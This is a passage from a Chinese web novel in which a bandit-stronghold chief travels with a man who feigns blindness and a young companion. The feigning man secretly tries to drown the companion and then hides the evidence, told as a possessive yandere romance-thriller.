“是我啊,兰溪。”
“蒋小乙。”越兰溪惊讶,“你怎么会在车底?”
老顾笑呵呵地扯出车底的麻绳:“小乙小子还挺聪明,这一圈麻绳绑上去那是稳稳当当的。”
听见老顾的夸奖,蒋小乙的尾巴都快要伸到天上了,傲起脖子,鼻孔朝天。
越兰溪接过麻绳,她就说,蒋小乙静悄悄,必定在作妖,这怕是他昨晚上一晚上的成果。
忽然,她扬起麻绳,狠狠抽在蒋小乙身上,时下天热,又是血气方刚的大小伙,穿着单薄的一件,麻绳抽在身上“啪啪”作响,惨叫声一声高过一声。
“你就该让那马一蹄子踢破你脑袋,就该让你一头撞上那石头,还钻车底!你能耐啊!”
“救命呀,救命呀,顾伯!”
老顾笑呵呵地看着这一场闹剧。
不知是从何处飞来一块似软非软、似硬非硬的圆饼形状的东西,精准砸中他的腿腕,蒋小乙正在上蹿下跳的身影突然打了个趔趄,膝盖重重跪倒在石子上,疼得他呲牙咧嘴。
他左右寻找罪魁祸首,却因为天已经完全黑下去,根本分辨不出是什么东西。
“坐好!”越兰溪见蒋小乙嬉皮笑脸的模样就来气,大声吼道。
“他为什么和你坐一辆马车?”蒋小乙不服气,以前都是他骑马,越兰溪坐马车,凭什么这个姓柳的一来就坐上越兰溪的马车。
越兰溪一听蒋小乙又找茬,举起的拳头还没来得及揍下去,就听见柳棹歌说:“因为我和兰溪已结为夫妻。”
越兰溪还没反应过来,没毛病。蒋小乙却不服,大声嚷嚷道:“你是夫妻,那我还是呢,你算哪根葱?”
柳棹歌温柔地看着越兰溪,眼神柔和得能挤出水来,不疾不徐道:“我与你们不同,我和兰溪早已发过誓约,从今往后,她只有我,我只有她。”
伪装,是他柳棹歌最擅长的事。
一副深情模样将越兰溪迷得神魂颠倒,话本子也在不知不觉中慢慢脱离手掉在软毯上,眼睛已经盯着柳棹歌看呆了。
贪色可真不是一件好事,越兰溪想摇匀自己的脑浆。
面对蒋小乙痛心欲绝的质问的眼神,越兰溪的眼神在蒋小乙和柳棹歌的脸上来回晃悠,两相斟酌过后坚定回答:“是,只有他一人。”
只限此次出去,她在心里默默补充,对不住了蒋小乙,柳棹歌比你俊美一些。
不出所料,她果真喜欢他曾经深恶痛绝过的皮囊。柳棹歌低眉含笑抚上自己的脸,还算有点用。
出了禹州城,就到了大晋境内,越兰溪只让老顾送到此处,便让他回去了。于是,蒋小乙就成了唯一的马夫。
赶了近七日的路,终于到达广陵地界,再往前走过两座城,翻过一座山,就到达荆州了,黑风山就在荆州地界。
广陵市井繁华,倒与前几日路过的城池截然不同,百姓家中的烟火气是最能体现当地官员的作风,很显然,此处歌舞升平、夜不闭户,定是刺史及其手下官员的功劳。
越往城中走,越能感受到广陵这座城的宽容开放。
胡商、坐贾聚集在广陵城东平阳大街上,叫卖声不断,吆喝声不止,连稚童都可自己卖点小玩意补贴家用。
越兰溪掀开车帘,探出头去,感叹:“我禹州三城要是有如此繁华,百姓何以不能安居乐业!”
各式各样的小玩意,让越兰溪应接不暇,越兰溪注意到一摊主的摊子上,还摆着夕阳玩意,那可真是不多见啊!
越兰溪和赶马的蒋小乙瞬间就被吸引住了,越兰溪趁马慢行,一下子就跳下去,扑到贩卖西洋玩意的小摊前。
柳棹歌坐在车内,脸上是跳不出错漏的笑意,透过窗,看着笑得花枝乱颤的少女,不解。
一个女子,怎么如此跳脱?
他看着越兰溪带上面具,和蒋小乙相互恐吓对方,随即又笑开。
光照在她脸上,毛茸茸的绒毛都泛着光。都说女子笑不漏齿最是淑女好看,柳棹歌觉得越兰溪这样肆意张扬的笑太过刺眼,刺得柳棹歌心跳漏了一拍。
活了二十余载,从未见过如此特立独行,不在乎世人眼光的女子,她是山林中的野草,也是室内灿烂夺目的牡丹。
广陵城街市窄小且又有摊贩临街,马车通行不过,只好
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滞留在原地,等待人流少时再折返回去。
越兰溪牵着柳棹歌的手,心甘情愿地当柳棹歌的盲杖。
主要是没办法,街市上人太多,蒋小乙又老是针对柳棹歌,将他挤向人群的另一边。无奈,越兰溪只好拉住柳棹歌的手,瞪眼看着理直气壮地蒋小乙。
柳棹歌跟在她身后,亦趋亦步的穿过茫茫人群,他看着他俩相握的手,内心悸动。
身后的蒋小乙,手里拿着一个西洋镜,一脸仇视地看向柳棹歌背影,那神情,恨不得一口将他吃了:“装什么装!早晚有一天,我要揭下你的面具!”
广陵城内最大的客栈,金陵客栈。
四进大门,进入大堂,中央开放六张八仙桌,后排是十余张小凳,可供不餐食的客人看皮影戏,正前面是皮影戏台子,讲着二十年前裴家将率兵逼退大雍人数百里。
转过八仙桌,是山水转盘,大约有七八阶台阶,往上走,是另外一个小台,摆着四张小桌,分别由屏风隔开。
“开三间上房,要最好的。”越兰溪将一袋银子丢在桌上,沉甸甸的声音让掌柜的眼睛发直,本就已经笑出褶子的脸如今更是连眼睛都看不见了。
随即,他眼睛咕噜在三人身上打了个转,见越兰溪牵着柳棹歌的手,举止亲昵。
复又低下头在本子上写写画画,不一会儿,才抬起头面带抱歉:“几位客官,真不好意思,今日上房只余两间了,要不这位公子和娘子同住一屋?”
掌柜的眨着眯眯眼,年轻人嘛,吵架闹矛盾是常有的事,夫妻床头吵架床尾和。
他心里暗暗得意,今日功德加一。
越兰溪在心里默默盘算,柳棹歌闻此神色如常,并无太大意见。
还没来得及加上今日功德,就传来蒋小乙反对的声音,他冲出来大声反抗:“不行,没有上房就随便开一间,难道诺大一个客栈,连三间房都空不出来吗?”
掌柜的有些为难的,踌躇难言,看向他们三人的领头人——越兰溪:“娘子,你看这......倒是还有房,但是那是下等房,好几人同住一屋,且无窗,是否需要开一间?”
越兰溪眼光在柳棹歌和蒋小乙身上流转一圈,蒋小乙深觉不安,就连柳棹歌都没看懂她的意思。
她斩钉截铁:“他俩开一间,我,一个人一间!”
“啊!”
“啊——”
附带柳棹歌面具破碎的表情,在难以维持他的温润笑意。
越兰溪不理会他们,径直拎上自己的长枪,往楼上走:“你们不想住的,可以找掌柜的开一间丙字房。”
两大男子不住一起,难道和她一起住吗?
眼见着越兰溪背影决绝,蒋小乙气炸了:“我就算出去住牛棚,也不会和你一起住!”
柳棹歌整理袖袍,拄起新的盲杖,有模有样地往前探打一番后云淡风轻道:“那你去住吧,你应该能找到同类。”
蒋小乙火更大了,重重呼出两口气,猛地抢过柳棹歌的盲杖往外扔去:“瞎子,你给我等着!”,随后便跑出去了。
手上未及所料的空了,柳棹歌眼神瞬间凝成一股针,刺向蒋小乙,面容沉下去,气势可见的从柔和变得压抑。
9. 心爱的玩具
盯着蒋小乙良久,压迫感十足的眼神让蒋小乙直觉此人不简单,他觉得像是被什么阴冷潮湿的动物围绕,粘腻窒息,让他后背发凉。
蒋小乙气势稍弱,结巴道:“我......就不信,这么大个广陵城找不出一家空的客栈。”
掌柜看着蒋小乙跑出去,他拿袖帕擦着额上发的汗,没想到好心办成坏事,唉。
“小郎君,你看,这......”
日光照进大堂,正好照在柳棹歌身上,一半明一般暗,晦涩不清的眸子从蒋小乙跑去的大门收回,藏匿于日光下的眼睛,深邃冷冽。
他轻阖双目,笑吟吟的看向掌柜,声音平缓,却透着无形的压迫感:“家中孩子顽劣,见笑了。我行动不便,可否帮我看看我家弟弟往何处去了?”
“可以可以。”掌柜的头都快点晕了。
“可否送我上楼去?”掌柜早发现眼前气度不凡的郎君是个眼瞎的,心里还惋惜,不禁带了几分怜悯:“杜二,送这位郎君上甲字二号房,顺便将房中多余之物都处理开,将房内陈设大致说与郎君听。”
柳棹歌歪头扬眉,却笑不达眼底,俊美的五官映着暖光:“多谢。”
“不客气不客气。”
掌柜的双手在展柜下都快将衣袖拧烂了,笑得脸有些僵,好不容易将人送走,他才坐下来,半天回不过神来。
明明就是一个温润谦和的郎君,他却总感觉脖子发凉。
“亥时将近,夜阑人静,火烛谨闭,勿留隐患!”
正值更夫二更巡夜的收尾时段,人们皆已进入一日好梦。
涛涛大江之上,白日中风平浪静的水面如今正在肆意宣泄,猛浪拍打在礁石上,打出一朵朵泛白的水花。滩涂上是一大片芦苇丛,接近八尺高的芦苇,随着风摇摇晃晃,使这一片耕地,笼罩上几分幽暗可怖的气氛。
一扁竹筏悠悠荡过水面,木浆划破荡漾的水面,划船人赤足踏于微凉的竹排上,手腕微沉,腰身使劲便用力向下撑去,竹筏借着力道缓缓前行。
月光明亮,照在竹筏之上,影影绰绰可见撑船人面容俊得妖异,肤色似久病的瓷白,鼻梁高挺,薄唇抿成一条冷冽的弧度,一双桃花眼中明明改含情,此刻却淬着平静到幽寂的寒光。
躺在他脚下的是一日未归的蒋小乙,此刻他只穿一身单衣,失去意识躺在竹筏上,浮浮沉沉间,激起的水花已经将他半个人打湿。
“你说你,这么不乖,还妄想抢走我的东西。”
说话之人正是柳棹歌,此时他坐在竹筏上,下颌线锋利,腮边沾着几滴未干的江水,像是看垃圾一般扫过蒋小乙的脸,冷白的手指轻轻拂过他沉睡的脸庞。
他的眉眼间,是怎么也隐藏不住的疯戾:“蒋兰君。”
他咂摸这几个字,随后轻笑:“连名字都和她这么有缘,我可真是有些嫉妒啊。”
“但没事,我现在这个名字我很满意,柳,棹,歌。”他薄唇亲启,唇与唇之间细细摩挲他的名字,低眉笑出声,“好听。”
他像是自言自语般对着宽阔的江面说话,瞥眉沉眼,似在嗔怪什么:“怎么办?不想回去了,寨主简直是我见过最好玩的人。”
“但是她身边总是太多人了,没事儿,待我回去将地图交出去,漆雾山中的每一个人都会消失,我会将兰溪藏起来,让她只有我一个人。”
柳棹歌仰天闭眼想象:“我总算有一件属于我自己的心爱的玩具了。”
他情绪高涨,此刻已经笑得有些疯魔,已经想象到越兰溪的身边只有他一人的畅快感。
但是他又苦恼,喃喃自语道:“可是,她好像喜欢温柔的人。”
他迎着月光,映在湖面上的是他抬起手摸上自己的嘴角,硬生生扯出一个诡异十足的笑容,整个五官只有嘴角上扬,像是净白无暇的菩萨玉突兀的在嘴边出现一道划痕,一种凌虐破坏的美感让柳棹歌笑到浑身颤栗。
“我本身就是一个温柔的人呀。”他低眼盈盈笑道。
时间一点点流逝,此时已经是丑时初。
柳棹歌抬头看看天:“好了,时候到了,这是我特意为你算的卦,这个时间去地狱,下辈子一定投个好人家。”
他哼笑道:“我可是真是温柔又善良。”
竹筏上的麻绳将蒋小乙绑在竹筏上的大石头上,动作熟练,不像是第一次做这样的事。
再轻轻一推,荡起一阵大水花,将赤脚站在竹筏上的柳棹歌浑身浸湿,他却浑然不觉,只感到心脏跳动得越来越快,嘴角抽搐,再难维持那阴诡的笑意。
“是谁在哪儿?!”
一道中气十足的女声从滩涂岸边传来,随后,柳棹歌看见了越兰溪手持长枪的身影,从高大遮掩的芦苇丛渐渐现出。
柳棹歌眉色一凝,转身背对他们,状似被人一推,倒进河中,竹筏两边俱是一朵大水花。
身体越来越沉,手脚浮起,身体下沉,在幽绿清澈的湖泊中,见越兰溪闭唇,双手往前划。
是朝他来的,柳棹歌笑了笑。
他伸手迎接朝他游过来的越兰溪,双手搂上她的脖子。
越兰溪抬手扯开绕在她脖子上的手,转而放在她腰上,一只手搂上柳棹歌的腰,另一只手奋力往前划。
波光粼粼的江面上,越兰溪揽着柳棹歌的腰探出水面,大口大口地呼吸:“没事了,我们现在上岸去。”
柳棹歌虚弱地挂在越兰溪身上,有气无力说道:“多谢寨主又救我一次。”
此刻的柳棹歌就如刚出水面的妖精,被打湿的乌发随意贴在他的脖颈与脸颊上,眼中点点星光闪耀,脑袋靠在越兰溪身上。
滩涂上,那位中气十足的女子已经将蒋小乙救起。
“可恶,让那恶贼跑了!”
当时从她们的视角看去,就是有人推倒柳棹歌后,又从另外一边潜水而逃。竹筏上还有行凶工具,一堆石头和一截麻绳。
女子见他们俩上岸,上前架起柳棹歌,将他和昏迷的蒋小乙放在一处。
“在下乃广陵城捕头方洄。”
越兰溪抱拳:“在下漆雾山越兰溪,今日多谢女侠出手相救。”
“你就是传闻中一人屠一城,手下不留情的越兰溪!”方洄手握长刀,声色戒备。
越兰溪知晓她是官府中人后,也未曾隐瞒自己身份,并非她蠢,而是她有足够的能力,不用惧怕任何人,也不用隐藏自己的身份。
她见红缨长刀刀面泛着冷光,越兰溪起身:“今日未拿兵器,你若想一战,也要待我将他们二人送到医馆再说,你若此时纠缠,别怪我不念及你的恩情。”
柳棹歌虽然看起无恙,却
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面色青紫,还有蒋小乙,眼下生死不明,更需快快找大夫看看。
语气里全是张狂,却让方洄露出欣喜,双手抱拳:“久仰越寨主大名,我救上来的小郎君依然无恙,只是身中迷药,故而昏睡不醒。”
越兰溪上前探脉,确实如方洄所说,脉象平稳,问道:“你会医?”
方洄回答道:“小时缠着父亲送我到医馆学习两载,虽说不精通,却也马马虎虎。”
“既然你现在不想打架,那就麻烦方捕头帮我一个忙。”
暗暗长路,柳棹歌被越兰溪背在背上,眼神清亮,完全不似病弱之态。
他侧脸瞧着越兰溪神色焦躁,眉头紧锁,唇角紧抿,他不解,又不会死,为什么如此紧张?就算是快死了,大不了就是化为一抷土,消失在这世间,仅此而已。
踏在街市的青石板路上,走过三街五市才到金陵客栈。
“快请大夫。”越兰溪疾步上楼,店小二匆匆跑出去请大夫,身后跟着方洄,她背上是昏迷的蒋小乙。
推开房门,是一间左右墙各一张床的房间,中间就隔着一个不大不小的茶桌。
越兰溪将柳棹歌放倒在床榻上,起身准备去给他找换洗衣物,眼下虽已入夏,可夜间江水寒凉,夜风凉人,湿衣服不能穿在身上。
“兰溪。”
她衣袖被一道极轻的力道拉扯住,唤她的名字带着点微哑,许是被风吹着了。柳棹歌坐在床榻上,眉目轻抬,直勾勾地看向越兰溪的双眼:“咳咳,别走,好不好?”
他脸色已经回暖,含情脉脉地看着她,直将越兰溪看出几分不好意思来。
怎么掉了次水,还更加粘人了,越兰溪不自在地默默脖子。
“两位姑娘,二位郎君并无大碍,只是那位昏迷的小郎君,今夜恐怕会有发热,只需......这位郎君的眼睛如今可模糊视物,待我为他扎上两针,相信不日便会痊愈”,花白胡子的大夫被小二请来,为他们二人诊脉开方,甚是自信道。
说到昏迷的小郎君,自然是蒋小乙,虽并无大碍,被江水泡了这么久,胸腔中还进了水,一时半会儿还好不了。
柳棹歌如今能模糊视物,大夫说可能是因为掉进江水中,受到刺激,才好了些,也算是因祸得福。
只是,越兰溪感觉有些不对劲,怎么方洄在一旁听得如此仔细?
送走大夫后,都换上了干净的衣裳,方洄这才重新坐回房间。
“不瞒寨主,我方洄虽是大晋中人,却不喜朝廷作风已久,因此强行建议我爹在广陵城实行新政,这才让广陵成为区别于大晋任何城池的一富饶之地。”
“我虽有武艺,自认不输绝大多数男子,却只因我是女子之身,爹爹不允许我在官府抛头露面,从古至今,也并无女子入官场的先例,因此,我平日只做夜值。”
“今日恰巧巡到此处,得幸与越寨主一见,待来日,必定与你好好切磋切磋武艺!”
方洄性子率直可爱,虽在官场上受了些闷气与白眼,但是一看就是家中之人盛宠,才会有不同寻常女子一般的想法。
越兰溪交朋友最看重是否合眼缘,看到方洄的第一眼就觉得此人可交。
话说完,方洄又露出一些小女子姿态,扭扭捏捏半天才说:“我救上来的那位郎君可否婚配?可有意中人?”
10. 小命休矣,休矣啊!
越兰溪还有些懵:“婚配?算......”
她还不知道如何开口,柳棹歌就一下抢过话头去:“家弟无婚配,也无意中人。”
话音刚落地,越兰溪就瞧见方洄双脸染上红晕:“刚刚我们有了肌肤之亲,若他为婚配,我愿做他妻。”
越兰溪:“?!......嗯?”
广陵民风开化,可自由婚配,可万万没想到,方洄居然如此大胆,连蒋小乙到底是个什么样的人都没弄清楚,就已经与之私定终生。
“刚刚上岸时,我为他渡气,虽然医者面前不分男女,但是......,我以后的丈夫只会是他。”方洄眼神坚定,一脸娇羞的抚上自己的唇,已经认定了蒋小乙。
她将他救上岸的第一眼就看上他了,容貌英俊,剑眉阔面,皮肤精细,这算是一见钟情吧,方洄傻笑着。
“只是一个亲吻,就认定他了吗?”越兰溪不解,神色有些心虚,不敢去看柳棹歌,她想起他俩成亲的第一晚,她也亲了他,那她岂不是真的要对他负责?!
“对呀,这算是有了肌肤之亲吧。”方洄眨着大大的杏眼,单手托腮,脸上满是遇到自己真命天子的欣喜。
她们一聊就聊到半夜,带到捕快前来回禀,才前去探查贼人踪迹。
越兰溪将自己的长枪拿走了,心中满是愤懑,想他们三人才初到广陵城,何方宵小居然敢惹到他姑奶□□上,定要将这贼人的脑袋割下来当球踢。
门阀落锁的声音响起,原本已经入睡的柳棹歌幽幽睁开眼,起身走到蒋小乙床边。
“算你走运。”
柳棹歌又想到今日的经历,眸中闪烁着异样的光芒,咧开嘴笑得欢:“暂时留你一命吧,毕竟今天我真的很开心。”
她今日跳进水中,却优先选择救我;明明自己已经竭力了,还将我背回来;我说让她陪着我,她当真陪着我坐了许久。
柳棹歌笑到颤栗,像只发疯的幽鬼,站在蒋小乙床边放声大笑。
他的内心是愉悦的,在进行完一场自演自导的大戏之后,是欢愉过后的空虚,心中那股压抑的疯狂渴望着突破这份表面的平静。
柳棹歌的眼神像是蛇信子一样摩挲过蒋小乙的脖子:“希望你醒来之后乖一点。”
说完,他好像又想起什么来,歪歪头:“唔,还得去处理一下痕迹,可别被兰溪发现是我了。不在她身边,我真的会很难过的。”
他像是小孩一样,撇起嘴,皱起眉,吐槽道:“早知道就不在江面上说那么多话了,早点将你推下去,我也不会白白掉进江水中,真是烦人。”
房间中有一扇窗,正对着后巷。
柳棹歌打开一条缝,乘着月色,身手利索地跳下窗去。
原本应该昏睡的蒋小乙猛地睁开眼,坐起身。那种将死的压迫感消失之后,他才想是活过来一样,大口大口地呼吸着新鲜空气,身体控制不住的颤抖。
窗户好像被风弄出一声响来,蒋小乙后脖颈一阵发凉。
他转过头,瞳孔明显放大,双手捂唇。
他看见了一双幽暗漆黑的瞳孔,目不转睛地盯着他,甚至眼底还带着令人泛起鸡皮疙瘩的笑意。
去而复返的柳棹歌跳回房间里,一步一步踏在木地板上,像是催命的钟声,一下一下地踩在将蒋小乙心头。
此时的他想尖叫,却发现他因为极度恐慌,压根儿无法出声,只能看见柳棹歌想一个恶魔,一点一点靠近他。
蒋小乙双腿蹬床,试图往后退去,喉咙里滚出一声呜咽声:“呜,你......你别过来,我,我要喊人了!”
他的声音气若游丝,在柳棹歌听来就像是待宰的小白兔死前最后的挣扎。
柳棹歌言笑宴宴:“这么不乖呢,小孩子装睡是要受惩罚的哦。”
像是恶魔低语,蒋小乙只感觉到他的衣领被揪住,力道之大,让他无法挣脱。
柳棹歌提起他就像提小鸡仔一样,一同跳出窗去。
“喂喂喂,这里是四楼!我不想死啊!”蒋小乙崩溃了,双手向上抬握住柳棹歌的手腕,大哭。
手里面这个人一直在动,柳棹歌使劲儿扯住他衣领的手鼓起青筋,他忍无可忍了,充满杀气的话从他牙缝中蹦出来:“你再乱动,信不信我现在就将你丢下去!”
惨绝人寰的叫喊声瞬间停息,蒋小乙这才睁开眼,顿时放下心来。原来客栈每一层窗户边都有一根横梁,柳棹歌就这样扯着一个大男人一层一层的往下跳。
没想让我直接死就好,蒋小乙像是重新活过来一般,拍拍胸脯,长长吁口气。
重获新生的蒋小乙还没高兴多久,一直被柳棹歌扯着领子走,让他感觉他就像是柳棹歌手下的犯人。
“你轻点扯嘛,我要被勒死了。”他开始对着柳棹歌嬉皮笑脸,不听说他好话。
“听人说长得好看的人,心地都特别善良。”
“谁说的?说的倒是真的。”
“你武艺高强,容貌昳丽,之前是小的有眼不识泰山,从此之后,我甘愿为你瞻前马后,肝脑涂地。”
蒋小乙能屈能伸,想想他虽然是个将门之后,却不服父亲管教,武艺平平,要不然定要打得柳棹歌满地找牙。
当然,这也只能在心里幻想一下。
“听说肝、脑的味道不错,要不然先尝尝你的?”
蒋小乙:“?”
“大人说笑了。”蒋小乙尬笑。
兜兜转转,走了不少小树林,又重新回到了江边,此刻的江风更加寒人,吹得蒋小乙都快站不住了,双腿止不住的哆嗦,连嘴皮子也不利索了。
“你不会还想杀我吧,我真的错了,我的大爷,大哥,爹!”
蒋小乙满脸惊恐,话本中说,有杀人者喜欢故地重游,他当时还不信,吐槽谁会这么蠢,重新回到凶案现场。
这是,被他遇见了!?
一阵天旋地转,耳鸣,眼前发白。
将死之兆啊!
应是风太大了,蒋小乙此刻涕泪横流,要多可怜有多可怜,瘫坐在地上,手脚挂在柳棹歌的大腿上,手指牢牢抓住丝绦,往下拽,边拽便哭诉。
“我还没有出去看过大好河山,还没见过边关冷月、大漠黄沙,我还没有去给我娘上香,还没有娶妻生子呢,我不想英年早逝啊!世上不能白白失去我一个青年才俊啊!”
见蒋小乙哭得上气不接下气,柳棹歌蹲下身动作轻缓抚摸他的头:“乖,去哪儿挖个坑。”
蒋小乙泪眼朦胧,顺着他的目光看过去,是一堆麻绳还有一片竹筏,正是之前的作案道具,竹筏旁边还靠着一把洛阳铲。
此刻凉风习习,
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让蒋小乙内心直呼,小命休矣,休矣啊!
“我自己挖坑埋我自己吗?”
柳棹歌:“?”
他脸上表情变化莫测,良久过后,失笑:“挖好看一点,毕竟要躺你自己的。”
“呜呜呜呜呜呜呜,早知道就不跑出来了,虽然在我爹手下是要苦点闷点无聊点,但是最起码还有小命一条。”
柳棹歌坐在一截枯木上,脚尖轻点水面,享受着吹来的阵阵江风,耳边却是蒋小乙不断地念叨。
他皱起眉打断:“你再说话,不留全尸。”
蒋小乙挖坑动作停滞,瞬间噤声,欲哭无泪。
不知挖了多久,应有两柱香时间吧。
柳棹歌走过来,见他已经挖好了一个两尺深,三尺宽的坑,眼中掠过一丝诧异望着他。
“干嘛,我给自己的坑修得漂亮些不行啊?”蒋小乙将死,也就不怕他了,梗起脖子吼道。
江面空旷,传来他的回声。
“啧。”柳棹歌被他突然一吼震得耳朵痛,“傻子。”
“把你脚边的东西丢下去埋好,速度快点。”
柳棹歌催促,看看天色,已经快转亮了,估摸着越兰溪她们也快要回来了。
“啊!不是埋我的?”
“你想要,你可以自己出来挖个坑。”柳棹歌皮笑肉不笑道。
“不不不,我一定搞快点。”劫后逢生,蒋小乙破涕为笑,脑袋摇成浆糊。
“嘿嘿嘿,我不用死了!”
填坑比挖坑快,加之蒋小乙得知自己不用死后,干劲满满,动作更加迅速,不到半炷香时间就埋好了,还聪明地扯了些杂草埋住。
柳棹歌赞许地看了他一眼,越过他,往回走,只留下一句:“将铲子丢到江里去。”
蒋小乙灰头土脸的,气喘吁吁擦了擦满额头的汗,看着铲子吃水沉到江里,才屁颠屁颠地更上柳棹歌。
到客栈,天已经蒙蒙亮了,街市上早就开始热闹起来。客栈里也是人来人往,皮影戏开始演起来,大堂中已经聚起不少人,演到诙谐之处,引得众人哄堂大笑。
“你们怎么出来了?”
柳棹歌二人刚跨进客栈,身后就传来越兰溪疑惑的声音。
光打进客栈,照在蒋小乙身上,脸上满是灰和土,无辜的表情充满大大的疑惑,他紧张地瞧柳棹歌的表情。
转身之时,柳棹歌脸上重新换上纯粹干净的笑容,说话间像是春风拂面:“小乙醒来,没看着你,央着我出来找你。”
蒋小乙目瞪口呆,嘴巴张大可以塞一个鸭蛋:“......”,我是被胁迫的,还有,变脸真快!
越兰溪仔细瞧着蒋小乙,嫌弃道:“怎么搞得?脏兮兮的。”
蒋小乙:“!”,受伤的只有我。
“他不看路,摔倒了。”
蒋小乙假笑点头。
越兰溪毫不意外,小孩子嘛,走不稳路正常。
她身后的方洄直愣愣地看着蒋小乙,脸都快笑烂了,她就说她的眼光肯定不会错。
蒋小乙年纪虽不大,但是身量却快及柳棹歌,再过几岁,必定比柳棹歌还高。且只论相貌,虽比不上柳棹歌,却也是正气凌然的少年郎,眉宇间多了些孩子的稚气。
越兰溪扶着柳棹歌上楼,方洄和蒋小乙落在身后。
11. 江湖门派弟子
“你长得怪好看的!”方洄毫不吝啬她的赞美,且蒋小乙正正好长在她喜欢的样貌上,圆溜溜的眼睛,长而翘的睫羽。
“用你说!”
“不对,你是谁啊?”蒋小乙收起得意之色,眼底带着的明显的疑惑之色。
他不认识她也是正常,昨天从睡着之后,就昏的不省人事,直到柳棹歌站在他床边才醒来。
说到这,方洄感觉到她耳后慢了一拍烧起来,微微低头羞涩笑道:“我叫方洄,昨夜是我救了你。”
踩着木质楼梯,因常年踩踏,有几块板子早已罢工翘起来,再走在上面嘎吱嘎吱的响。
听到她说是他的救命恩人,蒋小乙此人行事虽不着调,但也知道知恩图报,他双手抱拳郑重地准备道谢,还没弯下腰,就听见方洄接着说。
“今岁十七,家父是广陵城的郡守方通,我也在官府当差,虽然只是一个小小夜值捕头,但是也算正经差事。”
一女子,有胆量敢去官府当差也算是女中豪杰,在大晋男权统治下,女子如果有能力出来自己谋生,已经是极大的不易。
“虽我父母不同意我远嫁,我也不太喜欢离我父母太远,但要是你的话,我愿意跟你走!”方洄大胆诉说爱意,眼中欣喜怎么也藏不住。
蒋小乙刚想称赞佩服,却被方洄接下来的话吓得一个趔趄跪倒楼梯上,顾不及腿上的痛了,他瞪大双眼,眼中满是诧异之色:“你说什么?”
他掏掏耳朵,生怕自己听错了,不可置信地看向方洄:“你说什......”
“是,我喜欢你,我想娶你为妻!”方洄羞红了脸,闭眼说道。
蒋小乙:“......?”
“不对不对,是我愿意做你妻。”她反应过来自己说错话,睁开眼揪住手指,垂下眼睛看鞋面,不敢正视蒋小乙。
“疯了,都疯了!”蒋小乙真的要疯了,从他昨天进入广陵城开始,就没有一件正常的事情。
他快步跑上楼去,方洄眼睁睁看着他像是逃离瘟神一样远离她,神色失落。
“都疯了!”他推开房门,正看见柳棹歌给越兰溪分析事情来龙去脉。
蒋小乙抽抽嘴角,他分析,分析得出个蛋来啊,这不是监守自盗吗?
“你碰见鬼了吗?这个表情。”原本十分安静悠然的氛围,被蒋小乙一开门,全破坏掉了。
“你直到她说什么吗?”
“知道啊。”
“你知道!”声音之大,穿透整座楼层。
“啧。”
柳棹歌不耐烦地觑他一眼,蒋小乙瞬间夹住嗓子:“你知道,还把她放进来!”
“我如何和她做夫妻,我已经和你......”
"可相对拜堂、可有共饮合卺酒、可有高朋满座、可有入洞房?最重要的,可否有官府文书?"
方洄追上来:“这些都没有,如何能是真正夫妻,切无夫妻之实,你们那也只是闹着玩罢了。”
她早就知道越兰溪喜美人,无论男子女子,瞧中的都会掠回山寨,只是昨夜听她说起,方洄瞬间就懂了,这个在外有杀神名头的恶魔根本就什么也不懂,不懂什么是成亲,什么是夫妻,只是像个小娃娃扮戏一般,不,连小娃娃扮戏都算不上,小孩子都知道成亲是需要拜堂洞房的。
“你,你,你。”蒋小乙被噎住,指着方洄半天说不出来一个字。
“我不会喜欢你的!”他像个小孩子一样,在做最后的挣扎。
谁知,方洄耸耸肩,表示不在意,抬头一笑:“没事,我相信,你一定会喜欢上我的。”
蒋小乙气得说不出话来,环视四周,无一人帮他说话,气狠了,推开方洄就往外跑,方洄也跟着追出去。
和柳棹歌面对面坐着的越兰溪还在思考,那她的三百多任夫君都不作数了吗?好可惜啊,要不回去重新摆宴席?
柳棹歌问道:“兰溪可是有什么烦心事?”
“想着重...,咳,你的眼睛什么时候才好啊?”越兰溪岔开话题,凑近看他眼睛。
“这样你能看见我吗?”
很近,近到柳棹歌能看清她脸上的容貌,生得唇红齿白,让柳棹歌睫毛轻颤,语气带着诱惑:“好像能看清一点点,寨主可否再凑近一点?我看看是否真的能看清楚。”
还不够近吗?越兰溪在凑近了一点,伸手在他眼前晃:“能看清楚我的手吗?”
柳棹歌清澈的眸子中倒映着她的双唇一开一合,是他喜欢的红色。
他低眉浅笑:“能看清楚。”
“太好了。”越兰溪坐直身体,欣喜道。
“我们什么时候重新拜堂、喝合卺酒呢?兰溪。”柳棹歌眼波流转,听见她兴奋的声音,微微发笑问道。
越兰溪瞬间止住笑意:“可能每个地方风俗不同吧,漆雾山上就是那样成亲的。”
柳棹歌一眼看穿她理不直气不壮,坚持道:“我想要,可是我想要一个平常人都有的成亲环节,可以吗?”
带着点祈求的语气,柳棹歌握住越兰溪双手,含情脉脉看着越兰溪。
“可以可以。”面对带有些撒娇语气的柳棹歌,越兰溪再难绷住,眼神飘忽不定哄道。
闻此,他眼眸温和,望着她离去的背影笑了笑,眼底晦涩不明。
“小二,上酒菜!”越兰溪刚打探完消息回来,仰头咕噜咕噜喝完两大碗水。
柳棹歌装盲,眼神迷茫直视前方,从袖子中掏出一张帕子递给越兰溪:“慢点喝。”
蒋小乙鄙夷,真会装。
“咳咳咳。”越兰溪接过帕子随意擦擦嘴角的水渍。
“明日出发黑风山,抓紧赶路,应在明日晚到达山底。”
她缓口气继续说:“蒋小乙,你就不用去了,你又不会武功,黑风山地势险峻且此次前去危险重重,为你安全着想,你还是留在广陵。”
蒋小乙指着柳棹歌:“他去不去?”
“去。”
“凭什么他去我不能去!”蒋小乙怒不可遏,激动地红了脖子,重重一拍木桌,茶杯颤两下,而后倒在桌子上,茶水流了满桌。
“他个,”他看向柳棹歌,却发现原本静静听他们话的人何时含笑盯着他,顿时感到毛骨悚然,咽了口唾沫。
“他个柔柔弱弱的男子,有什么本事?”
苍天,我说谎了,你别劈我,蒋小乙心中的小人跪地祈求上苍。
“他能辨知方向,你行吗?”
越兰溪道出蒋小乙最薄弱的地方之一,他们两个路痴出门,原本五日就能走到的,硬生生拖到一月之久。
蒋小乙被中伤。
“那我也能帮你拎点东西。”他硬撑着细数他的用处。
“我会讲笑话,如果你们乏了,我可
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以给你们解解闷。我还会唱歌,你们要是无聊了,可以欣赏一下我的天籁之音,我还会......”
“哈哈哈哈哈,真是搞笑,你们还是别去送死了,去做点别的行当说不定还能捡条命。”
蒋小乙认真的掰着手指细数他的优点,隔壁桌的四五位年轻男子听此哈哈大笑,笑得前仰后偃
“你们不要命了,居然敢笑话小爷!”他站起来,毫不客气地指着他们。
其中年岁尚小的青年环视他们三人,轻蔑一笑:“女人?瞎子?乳臭未干的小毛孩儿?”
